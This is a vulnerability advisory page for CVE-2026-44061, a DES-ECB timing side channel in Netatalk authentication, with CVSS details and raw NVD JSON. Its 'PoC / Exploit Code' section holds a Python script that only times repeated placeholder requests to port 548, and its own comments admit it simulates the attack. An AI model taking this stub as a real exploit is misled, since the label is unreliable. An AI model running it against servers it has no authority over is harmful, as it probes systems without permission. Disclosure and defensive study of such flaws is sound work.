Security Vulnerability Report
中文
CVE-2026-44061 CVSS 5.9 MEDIUM

CVE-2026-44061

Published: 2026-05-21 08:16:22
Last Modified: 2026-05-21 15:20:19
Source: 33c584b5-0579-4c06-b2a0-8d8329fcab9c

Description

Netatalk 1.5.0 through 4.4.2 uses DES-ECB for authentication with a timing side channel, which allows a remote attacker to recover authentication credentials via timing analysis.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Netatalk 1.5.0 - 4.4.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 import socket import time import statistics # Target configuration (Example) TARGET_IP = "192.168.1.10" TARGET_PORT = 548 def send_auth_payload(payload): """ Sends a payload to the target and measures the response time. This simulates the timing analysis part of the exploit. """ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) start_time = time.perf_counter() try: s.connect((TARGET_IP, TARGET_PORT)) # In a real exploit, specific AFP protocol bytes would be sent. # Here we simulate sending a packet that triggers the crypto operation. s.send(payload.encode()) s.recv(1024) except Exception as e: print(f"Connection error: {e}") finally: end_time = time.perf_counter() s.close() return end_time - start_time def perform_timing_analysis(): """ Collects timing samples to identify side-channel differences. """ samples = [] print(f"[*] Collecting timing data for {TARGET_IP}...") # Attacker sends multiple requests to gather statistically significant data for i in range(100): # Payload would vary byte by byte to guess the password duration = send_auth_payload("AUTH_ATTEMPT") if duration > 0: samples.append(duration) print(f"Sample {i+1}: {duration:.6f} seconds") if samples: avg_time = statistics.mean(samples) print(f"[*] Average response time: {avg_time:.6f} seconds") print("[*] Analysis complete. Compare timings against baseline to deduce credentials.") if __name__ == "__main__": perform_timing_analysis()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-44061", "sourceIdentifier": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "published": "2026-05-21T08:16:21.687", "lastModified": "2026-05-21T15:20:19.040", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Netatalk 1.5.0 through 4.4.2 uses DES-ECB for authentication with a timing side channel, which allows a remote attacker to recover authentication credentials via timing analysis."}], "metrics": {"cvssMetricV31": [{"source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-208"}]}], "references": [{"url": "https://netatalk.io/security/CVE-2026-44061", "source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c"}]}}